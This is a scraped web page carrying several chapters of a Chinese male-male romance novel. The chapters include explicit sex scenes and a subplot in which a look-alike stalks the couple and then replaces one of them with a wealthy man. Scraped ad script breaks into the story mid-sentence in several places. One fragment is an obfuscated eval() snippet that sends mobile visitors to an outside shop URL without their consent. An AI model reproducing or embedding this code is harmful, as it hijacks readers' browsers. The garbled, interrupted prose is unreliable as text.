四肢温热的摩挲,低沉的喘息萦绕在彼此耳畔,唇舌间甜蜜的迎合……十指温柔的交叉扣紧,爱意从床榻间流淌至整个房间,情热的气息在这一方天地里蔓延。新的一天被唤醒了。 曾闰成洗过澡裹着个浴袍准备换衣服,才发现自己没有衣服可换,Tina给他收拾的行李除了那个小包,其它都没有拿。“只能先穿你的了,廷恩。” “不借。”傅廷恩吐出两个字,牵着他的手走到衣帽间,灯光打开,一整面墙的挂衣区里悬挂着秋冬季的服装,曾闰成随手扯过一件毛衣,却是他的尺码,傅廷恩的衣服都比他要大一个码。 “这些都是你的,”傅廷恩转身指着另一面挂衣区,“我的在那里。”两面墙的衣服款式数量一模一样,只有尺码不同。其中大部分是西服衬衫,“我现在在公司入职,正装穿得比较多。” 即使他不在他身边,这几年他买衣服仍是习惯性买两套,其中一套小一码,“贴身衣物佣人都洗过了,这是这大半年我回金城添置的,澳洲那边还有很多。”澳洲那间公寓的衣帽间也非常大,不够大也放不下。 曾闰成看着那罗列得很整齐的T恤、衬衫、毛衣、长裤……不知道该说什么才好,只有傅廷恩才会这样傻吧,为一个不知道是离开还是死了的人,准备这满柜的衣物。 曾闰成已经不太记得自己跳下游轮的情景,只隐约感觉是自己拉开了这场分离的序幕。虽然记忆里好像不得不这样做,如果不这样做,就会让眼前的男人伤心欲死。 他蹲下身体抱住头,喃喃道,“廷恩,我一点也不想离开你……” 傅廷恩被吓到,扑上去抱住他,急切的询问,“闰成你怎么了?哪里不舒服?头痛吗是不是头痛?” 曾闰成抬起头,一双泪眼凝视着他,“为什么我会离开你?”他拉扯着头发,“我不记得了,我只知道如果我不这样做,你会很伤心很难过我会很恨我自己……” “不要去想,闰成,你答应我,”他亲吻着曾闰成眼角的泪水,“不要再去回想那些不开心的事情,分离是命运对我们的考验。它想知道我们是不是真的相爱。” 傅廷恩的记忆是清晰的,他记得自己昏迷前李景麟狞笑着提出的选择。曾闰成会跳下游轮,自然是因为不愿意再满足他的□□。 他记得苏秘书慌乱的表情和急切的解释,“廷恩,李总真的没有料到闰成会跳海,而且如果不是老板跟着跳下去闰成不可能救得回来,他也付出了代价……” 苏秘书见事情已经无法隐瞒,第一反应便是为李景麟描补、推脱责任。但也从侧面揭示了李景麟的确没有料到曾闰成会这样决绝。 傅廷恩亲耳听到了曾闰成说出了原因,“……如果我不这样做,你会很伤心很难过我会很恨我自己……” 曾闰成把他们的感情看得如此重要。如果说之前委身李景麟是不得已,那么他们真正在一起之后,他无法再虚与委蛇,去换暂时的平安苟且。 傅廷恩紧紧的搂抱着曾闰成,轻声说道:“闰成,你还记不记得我哥嫂订婚的那座海岛?我们在海边许下誓言,‘I love you with all my heart.’。” 曾闰成怔愣着,片刻之后,他轻轻点了点头,傅廷恩低头轻吻着他的唇角,“I love you with all my heart.”他再一次重复,爱是全心全意,我全心全意的爱着你,闰成。 曾闰成回他以深吻。我也全心全意的爱着你,廷恩。 ——————————————————————— 傅廷恩和曾闰成在傅宅住了一个星期,便搬进了他在东二环的公寓。傅太虽然舍不得,也没有过多挽留。 年轻人跟父母共住在一个屋檐下总是不自在的,他们那股随时随地的缠绵劲老年人也吃不消,反复叮嘱他们一周一定要回来吃一次饭。 傅廷恩无视他大伯的再三催促,坚持要再休半个月年假。“你入职公司才多久?哪里来的年假?”傅大伯指望不上儿子,就想指望侄子。 “那您批我婚假也行。” “婚假?”傅大伯简直不敢相信自己耳朵,“你什么时候结婚了?我怎么不知道?” 傅廷恩避而不答,他只好一个电话打给傅明章。 “哎,你就当他婚假吧,他最近肯定是没心思上班的。”傅明章也无可奈何,“等过阵子我跟他媳妇说说,会让他好好干活的。” 傅廷恩倒不是躲懒,曾闰成的身体需要再做一个全面的检查,然后他的记忆仍然有缺失,还需要帮他寻找和稳固。 寻找记忆的第一站肯定是恒雅私高,那是他们相识的地方,也是缘分的起点。 他牵着他的手,走进那条青石板巷道,走到他们曾经住过的老房子围墙外边。 “还记得这里吗?我在楼下给你打电话,问你今天可不可以到你家补习……”傅廷恩的目光温柔的流连在曾闰成的眉梢眼角。 曾闰成白净的面庞上泛起温润的笑意,“记得,我听到你在楼下打电话的声音,推开窗叫你上来……你们家阿姨做的蟹黄包特别好吃。” “比不上你做的番茄鸡蛋面条……”两人相视一笑。 “还记得你生日那天的火锅吗?”傅廷恩贴在耳朵边问他。 曾闰成想了想,有些不好意思的低下了头。如果不是曾闰霞戳穿真相,他一直以为那是一场荒唐的梦境。 “你胆子大得很!”他屈起两根手指敲了敲傅廷恩的脑袋,竟敢趁他喝醉偷吻他!十八岁就学会耍流氓了! 傅廷恩抓住他的手,牵到嘴边吻了吻,“我一点也不后悔这份胆大妄为。” 如果胆子不够大,如果他恪守着彼此的身份,那么今天也不能拥我所爱了。爱情就是这样,你勇敢才有可能。 他牵着曾闰成走到恒雅私高的校门口,曾闰成想把握着的手抽回去,傅廷恩却握得紧紧的,“很多年前我就想这么做,我想牵着你的手走在这所校园里,让每一个认识我们的人都知道,我爱你……”他用满怀期待的目光看着曾闰成,曾闰成扛不住,只好随他去了。 还好是周末,校园里挺安静,不然还真有点社死。傅廷恩出示证件登记了,保安就放他们进去了。 保安大叔还记得傅廷恩,毕竟他在那里念了四年书,又是学校的风云人物。倒是没有认出曾闰成,他在校执教的时间不长,而且跟安保部也没有什么交道。 他的目光在他们交握的手上转了转,还是打开了道闸,“哎,小姑娘的心都要碎掉啰,这么好看的两个帅哥……” 他们在教学楼转了一圈,走过原来七班的教室,傅廷恩附在曾闰成耳边跟他说他做过的那个梦,曾闰成耳朵尖都红了,推他一把,“你个小流氓!那么点大就想这种事了……” 傅廷恩才不怕羞,压着他到讲台边,咬着他的唇,含糊不清的嘟囔,“我无数次的幻想过这个场景……” 曾闰成推开他,指指教室角落里的摄像头,“安保大叔看得见好吗……” “放心吧,摄像头要上学的时候才开呢,周末都没人开着干嘛。”傅廷恩不知羞的把他压到黑板前,“曾老师,这道题我不会……”他把“题目”塞到他手里,“求解。” 曾闰成满脸通红,“你到底是来帮我找记忆的还是来实现自己脑袋里的黄色废料的?” 傅廷恩知道眼下这个场景已是极限,要按梦境那么演,是怎么都不可能的了,只能意犹未尽的舔舔唇,拉着他的手去网球场。 室外的网球场跟九年前没有差别,有两个小伙子在那里打球,看见他们牵着手走过来,其中一个夸张的打了个唿哨,另一个却走过来,有些迟疑的,“你……你是傅……廷恩?” 哟,隔了这么多年还有人认识他? 男生确实认识他,“我在校友录上看到过你的名字和照片。”每个学校都会把历届考得不错的学生编辑成名册,作为宣传资料和激励后来学弟学妹们的榜样。 但到底隔了这么多年了,还能认得出也算是奇迹了。“主要是你太帅了,这么多考名校的学长,你是最帅的那一个。”这个学弟很会来事,但是看他星星眼一闪一闪,满脸崇拜的看着傅廷恩,倒也不是假意的恭维。 “学长,据说你不单学习好,打网球也很厉害!”学弟把拍子递过来,“陪我们打一局好不好?” 傅廷恩摆手,“不了,我要陪……” “廷恩你去打吧,我想看你打网球。”曾闰成推他过去。 “双打好不好?”傅廷恩问他们,“你们还有多的拍子吗?” 当然有,这两位也是这一届的风云人物,运动健将,傅廷恩曾经占据储藏室半壁江山的江湖地位便是由他们继承的,很快就拿了两个拍子过来。 还好考虑到今天要走不少路,傅廷恩和曾闰成都穿了运动风格的着装和运动鞋。 稍微的敲了几个球,热热身,他们便打起了双人局。在海德堡跟诺亚和汉斯打网球的记忆回到了曾闰成脑海里,即使隔着三年的岁月,两人的默契仍然一如从前。 第一局手生,输了。第二局便找到了感觉,打了个平手。第三局开始完全逆转了劣势,两个学弟被傅廷恩左右开弓,吊得气喘吁吁,他们在等级上显然离傅廷恩还有一定的差距。 网球差一个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 等级,水平就要差很远,尤其是他和曾闰成配合默契,他为主攻,曾闰成打辅助,不会让他一个人累到,又不会成为他的掣肘,每次出现的位置都是刚刚好。 三盘十八局打完,两人大汗淋漓,却是无比的畅快,两个学弟也是甘拜下风,冲他们竖起大拇指,“姜还是老的辣,领教了学长!” 他们看不出曾闰成和傅廷恩的年龄差,以为他们是同届同学。傅廷恩正想纠正他们,被曾闰成一把捂住了嘴,他一张嘴他就知道他想说什么。 傅廷恩“哈哈”的笑着,“好好好,我不说,不说行了吧?!”他帅气的五官,大笑起来尤其耀眼,两个学弟看着他的样子和他们亲密无间的举止愣住了。 “别动。”傅廷恩低头瞥见了曾闰成散开的鞋带,像很多年前那样蹲下去,给他系好。 而这一次,曾闰成也伸出了手,轻抚着傅廷恩柔软的发顶,“廷恩。”他轻轻的、低低的,没有让别人听见,“我爱你。” 傅廷恩愣了一下,站起来,“我也是。”他极力克制住带坏青少年的冲动,冲身后呆愣的两个学弟挥挥手,牵着曾闰成狂奔出了校园。 傅廷恩牵着曾闰成的手,彼此都能感受到对方通过指尖传递的颤栗与渴望。 他们对视一眼,十分有默契的携手穿过那条步行街,按下电梯的按钮,在电梯门闭合的一瞬间,两张唇已经迫不及待的粘合在一起。 学校旁边的这套公寓,一直空置着,水电都有余额,但很久没人来打扫,积着厚厚一层灰尘。 平日里相当爱干净的两个人,此刻却是完全顾不得,乒乒乓乓一段乱响,从门后辗转碰到冰箱,磕响了浴室的门,跌跌撞撞却始终舍不得松开对方,脚步腾挪间总算倒在了墙角的沙发上。 结果,一阵气喘吁吁的摸索之后,曾闰成撑起身体,“这里……有吗?” 傅廷恩懊恼的扯头发,“没有,我都好几年没有来过这套房子。”他不安分的蹭着他,“你等我一下,我下去买……” 曾闰成拖住他,“等会就回去了,回家再说。”激情褪去,他也有点不好意思,起身看展示架上的奖杯,“你这些奖杯都没拿回家?” 傅廷恩点头,“特意背过来给你看的,当时就想在你面前显摆。”他也跟着站起身,“生怕你觉得我不够优秀。” 曾闰成还记得那天他喋喋不休在他面前解说着每座奖杯,还有那些签名球拍的来历,“廷恩,你一直是很优秀的。” 只是,他当时完全没有这方面的想法,身份让他不可能做这方面的设想,如果不是那次灵水湖之行,他都没有留意到他的感情。 “其实我挺卑劣的……”傅廷恩在曾闰成面前低下头,看他不解的样子,他把他拉到浴室的玻璃墙前,示意他站定,然后走到浴室打开了灯。 曾闰成开始还没反应过来,突然轻轻“啊”了一声,他记起他在这个浴室洗过一次澡,然后看看玻璃墙里傅廷恩清晰的身影,脸腾的一下就红了,“我……那次……你看到了?”他睁大眼睛。 傅廷恩点点头,“我忘了告诉你,这个玻璃墙砖装反了,但是我又担心你以为我是故意的……” 曾闰成都有些结巴了,“你你你……都看到什么了?” “什么都看到了。”傅廷恩瞟他一眼,“洗澡都要脱光的吧?” “天!”曾闰成恨不得找条地缝钻进去,他就觉得自己肯定对当时只有十八岁的少年释放过什么错误的信号,要不然谁会无缘无故对自己的老师产生这种遐思呢? 这一点上,傅廷恩的想法却是完全不同,“我并不是因为这件事情对你动心的,只是这次之后我可能对你产生了……欲望。” 他有些害羞的别过脸,“这次之前,我只知道我喜欢你,天天都想看到你,只要你开心我就会很开心……但是这次之后,我知道我想要的远不止如此。” 他张开双臂,将曾闰成搂进怀里,“爱欲或许是不分开的,但爱才是基础,欲望也许可以加深爱,却无法取代。”他轻轻的摩挲着他的耳畔,“我想要你,是因为我爱你。” 深秋的寒风从45楼的窗外呼啸而过,屋内却是暖意融融,没有什么比两颗重叠的心更能提升温度。 他们长久的凝视着彼此,直到暮色四起。完全分不清是谁又主动,唇舌再一次勾缠在一起。 他们又滚回那张布满灰尘的沙发上,曾闰成推着傅廷恩靠在沙发上,一路向下……傅廷恩挡住他,“我来。” “不,”曾闰成十分坚决的压住他,“不许动,不是让我帮你解题吗?” 傅廷恩有些忸怩,“可是这题目……有点难。”他们刚刚打完球,一身都是汗意。 曾闰成拎过一旁的矿泉水,挑了挑眉,“所以,要按步骤解答。” 83.第 83 章 卢可看见曾闰成的第一眼,忍不住当着苏秘书的面连喊了两声“我操”,“他真的跟我长得好像!我要打电话回家问问我爸……” 他随口一句玩笑,苏秘书显然缺乏幽默细胞,一本正经的阻止他,“请勿节外生枝,追溯你俩相像的起源没有任何意义,你能否复制出他的神韵才是关键。” 这种谈协议之前要求他先提供全套体检报告,并且指定体检机构的职场精英,你不能奢望她还具备可贵的幽默感。 苏秘书一向谨慎小心,叮嘱司机不要跟得太近,又转头提醒卢可,“你并没有太长的学习时间。” 卢可噘了噘嘴,“我知道。”转而又夸耀起来,“你就放心吧,学别的我不敢保证,揣摩一个人的表情、神态,我还是有把握的,我可是专门上过表演课的人。” 苏秘书对这个二十一岁的大男孩称得上喜欢,他虽然混迹欢场却还保有几分天真。 “加油吧,未来的大明星,我看好你。”她扬了扬两人刚刚签订的协议,吩咐司机在前面路口把她放下,“接下来就靠你自己了,车上这两位会全力配合你。但是切记,”苏秘书严肃的叮嘱,“千万不要让他们发现你在跟踪,如果你要想办法正面接触,也不要跟君临扯上任何关系。” 苏秘书在慈善晚会上发掘了这个长相酷似曾闰成的大男孩,而他是江永安带来介绍给傅廷恩的,想必之前他们是有交集的,原本这样的背景不适合推到李景麟跟前,但是……她想到自家老板目前的状况,唉,试试再说吧。 卢可在苏秘书的大力支持下,换了六台车,跟了傅廷恩和曾闰成整整半个月,没有被发现。 主要这两个人但凡凑在一起,眼睛里几乎就看不见别人,卢可又十分谨慎,行迹被他隐藏得相当好。 他完全的掌握了他们出行的规律,傅廷恩一早出门上班,曾闰成会送他到门口,长焦的镜头拍到过两人黏糊的goodbye kiss。 傅廷恩的这套公寓离傅氏集团并不远,一到中午十二点,他急匆匆的身影就会出现在公寓楼下,手上必然拎着饭盒,看样子是从公司食堂或者其它地方打包的饭菜。 卢可暗暗吐槽过,他这位“前辈”比较懒,一个人在家呆着也不做饭,也不见他出门。 事实上,曾闰成每天不是在电脑上敲敲打打,就是在书房看书,整整三年的断层,无论从专业还是社会人文都落下了很多信息。所以他涉猎的书籍很广,从专业著作到财经报刊,网络上的社会论坛,无不浏览。 这些书籍报刊有傅廷恩原先购入的,也有公司后来订阅的,曾闰成自己在网络上也购买了一批,所以无从筛选。 于是有一天,傅廷恩下班回家,看到书桌上摊开的一本财经杂志,上面是一篇对李景麟的专访报道,还配了一张大幅照片。标题是“商业巨掣的帝国蓝图——李氏家族代代延续的神话!” 他的心提到嗓子眼,但是从洗手间出来的曾闰成脸上没有任何异样的表情,“廷恩,这个汤汤水水我真的是吃腻了,我今天让外送送了点菜来,随便做点吃好不好?” 傅廷恩不允许他点外卖,说他的身体需要补充营养,每天中午都让老宅司机送营养餐到公司,然后他再送回来。 傅廷恩无意识的点头,又突然梦醒似的挽起袖子,“我给你煎牛排吧……” 曾闰成看着傅廷恩有些过于白皙的脸色,再看一眼摊开的杂志,产生了一点误会,低下头,轻声道,“廷恩,你是不是有些介意……” 傅廷恩上前抱住他,用唇堵住他未尽的话语,两人唇舌交缠,许久才气喘吁吁的松开彼此,“我怎么会介意,我只是担心你想到这个人会不开心……” 其实傅廷恩也隐隐担忧,他未能参与的那三年,曾闰成有没有对李景麟动过心。 因为仇恨,他十分关注李景麟的动态,知道那三年李景麟几乎将工作重心完全转移到了欧洲,为了谁,简直不言而喻。 可是曾闰成已经完全忘却了那三年的时光,他只记得李景麟同意让他离开,然后又反复,但最终还是让他跟傅廷恩走了。他因此对李景麟没有特别强烈的情绪,无爱,亦无恨。 这其实是傅廷恩最希望看到的结果,他甚至因此愿意放下对李景麟的仇恨,唯有如此,他们才能平和的往下走。上天的确给了他们磋磨,但最终将闰成还给了他,那么一切磨难便如过往云烟。 “我不会不开心,之前的事情都过去了,只要能跟你在一起,我就很开心……”曾闰成把杂志扫到一边,压着傅廷恩在书桌上亲吻,手伸出他的衣服里,揉捏摩挲,“明明都没有搞运动,为什么你会有腹肌?” “只是最近没有运动,”傅廷恩被他摸得受不了,解开皮带,把衬衫扯出来,“要不吃饭之前我们先吃点别的……” 一般情况下,他们晚餐会在外面吃,而且偏好西餐。卢可已经摸清了规律,傅廷恩五点半会准时回公寓,半个小时之后两个人手牵手出门。 卢可看着傅总每次回公寓都是行色匆匆,满脸毫不掩饰的急切,心里颇有点不是滋味,他还记得第一次看见这个男人时的惊艳,他西装革履的样子尤其帅气,皮带系在腰间,两条腿长得逆天。他的怀抱也是那样温暖,他紧紧搂抱他的那一次,喷涌在他颈边的气息是那样好闻。 可是这样一个完美无缺的男人,却把曾闰成——他的低配版,捧在手心,他不止一次的看见过曾闰成推拒傅廷恩的索吻。 曾闰成将傅廷恩的手扔回他自己腿上,又用手挡住他凑过来的唇,“廷恩,这里是华国,是金城,你收敛一点行不行?满大街的小朋友,你这样会带坏他们。” 傅廷恩皱眉咬牙的表示着不虞,“闰成,要不然我们搬回悉尼去?那边气候好,人文也开放,不会有这么多喜欢盯着别人看的眼睛。”他不悦的环视了一圈四周或明或暗窥探的眼神。 其实也不能完全怪别人,华国始终是偏保守的风气,这两位外表出众,举止又十分亲密,会被注目和打量是很正常的事情。 曾闰成其实也更喜欢澳洲的气候,虽然呆在家里暖气很足,但只要一出门就得里三层外三层,金城的冬天实在太冷了。 “叔叔阿姨能同意吗?” “他们会尊重我们的想法,而且现在打飞的也很方便,往年他们冬天都会去澳洲住两个月,过年前才回金城。” 傅廷恩又忍不住伸手去握曾闰成的手,“我哥和我嫂子都很想你,你还记得他们吗?” 曾闰成回来的第二天,傅廷昀和薛婵娟就接到了傅太的电话,原本要飞回金城,傅廷恩赶紧补了个电话去阻止,“闰成的记忆要一点点找回来,你们别一下子堆过来,我怕他适应不了。等他状态好一些,我会带他去澳洲看你们。” 傅廷恩对曾闰成称得上事无巨细的操心,他想一个地方一个地方的带他走,生怕跨度太大,会让他记忆紊乱。 回金城快一个月了,恒雅、之前租住的老房子、爱乐园、灵水湖都去遍了,他才开始提起去澳洲的打算。 曾闰成点点头,他记得傅廷恩哥嫂的友善,让亲情匮乏的他倍感温暖。“去澳洲也可以,但是护照……” “这些我来搞定,”傅廷恩开心的把他的手拖到唇边吻了吻,“年前我先把这边公司的事情理一理,跟我大伯沟通好,过完年我们就飞悉尼好吗?” 曾闰成听到周遭浮动的声浪,赶紧把手抽回来,“说话就说话,干嘛动手动脚……” 卢可只能通过镜头看到两个人的动作,听不到具体的谈话内容,所以在他看来,傅廷恩一再的想要靠近曾闰成,却被毫不留情的推拒。 “啧啧,原来傅总的缺点在这里, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”他颇有些忿忿的感叹,“眼光实在不怎么好。” 他只有二十一岁,娇生惯养的长大,从小就不缺自信这个东西。在他看来,曾闰成实在很一般,看上去显嫩显小,但三十加肯定不能跟他二十出头比,虽然皮肤保养得还不错。他没想过人家压根没有保养这个概念,最多天气干燥的时候贴个面膜。 一到周末,这两个人还会穿情侣装,让卢可羡慕又牙酸,他是坚决不会承认,两人穿着同款的深灰色大衣,系着格子的羊绒围巾,是有多么拉风又好看的。 他看着两人走入一家日式餐厅,这是一家三星米其林,正宗的怀石料理,纯日式的装修风格,一道道的推拉门格子间。 这家是会员制,突然他想到苏秘书的叮嘱,“如果你需要帮助可以给我打电话。” 他立马掏出手机打给苏秘书:“他们在怀秀吃日料,如果能订到旁边包厢……” 苏秘书懂他意思,“你把位置描述给我。” “他们进门后右转,进了第三个包厢,旁边有大丛日式盆景。” “好。”苏秘书挂了电话,三分钟后回过来,“运气很好,第四个包厢空着,已经帮你预订好了,你自己乔装一下,小心些。” 这个无需叮嘱,此刻冬季,都穿得很厚实,卢可穿着长及脚踝的黑色羽绒服,戴着遮耳的毛线帽子,鼻梁上还架一副黑框眼镜,他自己对着后视镜看了看,都有些认不出。 果然一路畅通无阻,经过傅廷恩和曾闰成的包厢时,推拉门开了一指宽的缝隙,情侣间正喁喁私语,半个眼神也没有分给他。 卢可安心在他们旁边包厢落座,日式包厢看着隐蔽,实际隔音效果很一般。 他第一次听到曾闰成的声音,清亮但声线压低了,彷佛耳语般,“……明天我们在家吃吧,我觉得这牛排还没有你煎的好吃……”卢可不屑的撇撇嘴,“前辈”还挺会拍马屁嘛。 傅总却是很吃这一套,“那你要等我回来做,配菜也不要动,等我回来弄。” 曾闰成说出了卢可的心声,“哪里就这样金贵了?你到家吃现成的不好吗?” “不好,”傅总答得一本正经,“晚上让你累到了,白天不能再让你操劳。” 卢可竖起耳朵,听得心旌摇荡,侍从给他上菜都差点没反应过来。傅总私底下原来是这么……的嘛? 他听着他用低沉带笑的声音调侃曾闰成,又很好脾气的哄他,“好好好,不说不说,乖,张嘴,”大概是把食物送到曾闰成嘴边,“等会吃完我们去看电影好不好?最近新上映的好莱坞大片,嗯,看九点这一场的巨幕厅好吗?” 卢可心里一动,这个附近只有一家影院,他匆匆享用完美食,连甜品都没有吃,掐着点比他们先起身,先到影院买了巨幕厅前排的座位,然后悄悄潜伏到了最后一排,横躺到座位上。 他估算得一点都不错,热恋中的情侣往往会往后坐,避开人群。 傅廷恩之所以没有选择VIP厅,自然有不可告人的目的,曾闰成拂开他的手,“你老实点。” “我买票的时候就看过了,没有人选择后排的位置。”傅廷恩附在他耳边嘀咕,“闰成……你最好了……让我暖暖手嘛……” 曾闰成怎么会不了解他的用意,把他手背拍得“啪啪”的响,“在家还不够你浪的……” 傅廷恩是听话的主吗?他不断厮磨、歪缠,孜孜不倦的求恳,最终在电影放映到一半的时候,他高大的身影如愿消失,大衣脱下来盖在身上…… 卢可完全想不到会有这个收获,他隔着两排座位,在电影音效的间隙里清晰的听到啜饮声,再探头看了看穿着卫衣端坐的背影,荧幕的蓝光映照着在他的肩头,能看得出他在轻微的抖动,还有极力压抑的喘息。 这这这……不是,傅总,你就这么爱的吗? 84.第 84 章 卢可跟了整整半个月,意犹未尽。他虽自诩成熟,但仍是向往爱情的年纪,看着一个高大帅气,无论家世还是外表都符合他想象的男人跟一个长相与自己酷似的男人浓情蜜意,不免插上想象的翅膀,自己值得更好的,至少是完全不逊色于傅廷恩的。 他每天定时定点的配合侦探,窥视着他们的生活,像看连续剧一样看得津津有味。但是苏秘书叫停了他这种类似私生饭的行为。 “卢可,别忘了我们之间的协议。”苏秘书亲自送他,一同坐上了去柏林的飞机,“这么长时间应该掌握精髓了吧?” 卢可学着曾闰成看人的眼神,平静淡漠的睨了苏秘书一眼,点点头,“嗯。” 苏秘书很满意,又叮嘱他,“在你没有绝对的把握之前,不要急着创新。”她看得到男孩眼底跃跃欲试的野心。 “你如果能留在奔龙堡,管家会为你安排专业的表演课,你的第一个角色肯定来自国际导演的新片。卢氏影业公司也已经注册到位,是否注资、注资到什么程度取决于你是否能够留下来。” 卢可的双眸被点亮,苏秘书与他谈条件的时候,他直截了当的表达了想成为一个明星的想法,而且要与君临合资注册一家专门的影业公司。 冀西的煤老板曾对华国的影视行业做出过极大的贡献,不少从中赚得盆满钵满,但这行水太深,卢家是铩羽而归的那一个。卢可的野望便是在成就自我的同时重振家族的荣光。 苏秘书很欣赏这种直白的目的性明确的人,有野心有欲望才好把控,那种什么都不要的才最难搞。 卢可从踏入奔龙堡开始,便毫不质疑苏秘书的承诺可以兑现。一栋矗立在森林前、大河边的古堡,曾是他童年时期对于童话的想象。 尤其这幢古堡占地宽广,立于不是太陡峭的山巅,有专门的护城河环绕。车辆驰入铁门,迎面便是各种造型的花草树木,冬未尽春方来,花园里却已是灿烂绚丽的景象,不远处的马厩传来骏马的嘶鸣声。穿着黑西服戴着礼帽的英式管家,裹着白色头巾系着白色围裙的仆从列队欢迎他的到来。 “天啊,”卢可在内心慨叹,“竟然会有人想要从这座古堡里逃离吗?”他看过《美女与野兽》,让他住在这座古堡里,就算要跟野兽呆一起,他也认了。何况他看过李景麟的照片和视频,跟野兽完全不沾边。 这一刻,他深感他的低配版实在是有点不知好歹了。 苏秘书向他介绍站在管家旁侧的女人,“这是Tina,以后你在这里有任何问题都可以向她寻求帮助。” 三十出头的女人,穿着干练的套装,外表美丽,声音柔和,看他的眼神带着惊诧和感叹,“真的好像。” 卢可并不介意别人谈论这一点,毕竟如果不是跟曾闰成长得像,他也不会站在这里。但他坚信,他迟早会取代那个男人留在众人心目中的印象。 Tina带他走进古堡,他被复古的中世纪装修迷得眼花缭乱。她却领着他踏上宽阔的实木转梯,左转进入一个装修华丽的房间,打开靠墙的衣柜门,“这是闰成之前的衣服,有很多都没有穿过。”这些衣服明显有着同一风格,颜色淡雅,质地柔软,并不是他喜欢的秀场风。 他略带点不屑的撇了撇嘴,Tina看出他的鄙夷,“这是我选的,闰成是无所谓穿什么的。但是我建议你暂时先收下这些,之后……随你。” 卢可懂她的意思,所以晚餐过后,洗过澡,他还是从那些悬挂的衣服中选了一件淡粉色的毛衣,米白色的针织长裤,“哎,三十加还穿这么嫩的颜色?我十八岁就不穿了。”他一边吐槽一边往身上套,曾闰成身形与他相差不大,衣服很合身。 落地的穿衣镜里出现一抹清瘦的身影,充盈的黑发,白皙的皮肤,这套浅色的衣服裹上身,让他看上去愈发的天真。卢可对着镜子微微抿唇,露出一个练习过许多次的笑容。 Tina十点过后才来敲他的门,“老板刚回不久,看样子喝了不少酒,你……”她看着他身上的衣服愣了愣,显然没料到他会直接穿曾闰成的旧衣服,“你小心些。” 她带着他转来绕去,踩着厚实的地毯,来到一间卧室门口,两个穿黑西装的保镖伸出手,用英语对Tina说了一句,“老板说任何人不得打扰。” Tina指了指他,低声道,“让他进去,责任我担着。”保镖踌躇半晌,两道目光在他身上停留了片刻,最终还是松开了手。 卢可被这架势弄得有点紧张起来,终于意识到他要面对的并不是普通人,何况视频和照片里的男人神色看上去绝不温和。 但是事已至此,他无路可退,他看了Tina一眼,稍稍深呼吸,转动把手,轻轻推开了其中一扇木门。 房间里一片昏暗,屋角留着一盏壁灯,但是房间过于宽大,这点光亮聊胜于无。卢可闭上眼睛,过了一会再睁开,才适应这微弱的光线。 浓重的酒味夹杂着雪茄的咖啡香味在房间里弥漫,他转目寻找,房间一侧的榻上侧卧着一个魁梧的身影,他背对着卢可,即使穿着衣服也遮盖不了的宽肩翘臀长腿。 上身一件黑丝绒礼服,下身是深灰色西裤,像是从某个酒会退场,周身都萦绕着威士忌那种狂野辛辣的香气。 “出去。”他似乎感觉到了房间里有人入侵。 卢可张了张嘴,想要像苏秘书交待的那样,唤一声“景麟”,却又在这冷漠得像淬了冰的声线里噤了声,随着男人的转身,他愈发紧张起来,心脏狂跳得像要蹦出来一般,愣愣的站在光影里。 男人却蓦地站起了身体,一步一步踉跄着走到了他的身边,他的身影十分高大,几乎可以将他完全的笼罩住。 卢可像是梦魇住一般,呆呆的抬起头,看着男人猩红的双眼。男人的脸庞无法用英俊来形容,但是那股睥睨的气势让卢可完全开不了口,所有的自信野望在这一刻全部飞到了爪哇国,他开始感到恐惧、紧张,然而心底深处又滋生了一种不知名的情绪,“原来,原来他是这样的……” 男人伸出了一只手,抚向了他的面庞,“闰成,”他一把将他搂入怀里,紧紧的抱住,“你回来了……” 卢可在那个宽广的怀抱里沉醉,又被这一声“闰成”敲醒过来。他瞬间记起了自己肩负的任务,他是来取代曾闰成陪伴这个男人的。他从这一声饱含痛楚的呼唤和男人颤抖的身躯里感受到了如海的深情。 既然他会爱上曾闰成,那自己比曾闰成更年轻、更帅气,一定可以带给他更多快乐和新奇的体验,取代他只是时间问题。 卢可重新燃起了自信,他主动掰过男人的肩膀,踮脚吻上了他的唇。 男人的唇略带凉意,唇齿间满是酒香,原本是静默的,却在瞬间就被点燃,情热的气息夹杂着蓬勃昂扬的欲望向卢可反扑过来…… 不说阅人无数,也算见多识广,卢可内心有一个关于吻技排行的小本本,李景麟一上来就爆了表,卢可被吻得双腿发软,最后完全是挂在男人身上。 能有这个技术,除了天赋估计经过了千儿八百人的练习,当然环境因素也很加分,昏暗的卧室,酒香萦绕。他被男人抱起放到床上的时候,对这个夜晚充满了期待…… 天光大亮的时候,卢可醒了过来,床畔已经空空如也,他艰难的移动了一下手肘,一股酸涩瞬间就蔓延到了四肢百骇。 “妈的!”卢可费力的撑起身体,皱起眉头,“这跟野兽也差不多了。”他毫不夸张的费了九牛二虎之力才将散落在床畔的衣服穿好,动一动,某个不可言说的位置就传来异样的酸胀感,如果不是身旁没有别人,他真的怀疑是不是还在里面没有出来。 曾闰成不会是因为这个才逃跑的吧?他手撑着双膝想要起身,又颓然的跌坐回床畔,“擦!”他咬着牙抽着冷气。 门上传来两声轻响,不等他出声,一道身影已经走了进来。Tina手上端着一个托盘,“你醒了?” 她将托盘放在床头,卢可瞥一眼,是一些透明的瓶瓶罐罐,里面装着一些油亮的液体。“你想先按摩还是先吃饭?”Tina语调柔和的问他。 按摩?这倒是可以,卢可觉得他现在急需舒缓松解, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954370|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是肚子也有点饿了。“我可以一边按摩一边吃饭吗?” “当然。”Tina按了一下床头边的一个按铃,用英语吩咐了几句。又转身很自然的搀起他,“你先洗漱吧。” 卢可也没有推脱,借着她的力,走到浴室。复古拼花的地板,镶嵌了半面墙的铜制镜面,大理石洗漱台,双人按摩浴缸旁边窗户敞开,窗外是如画的美景。 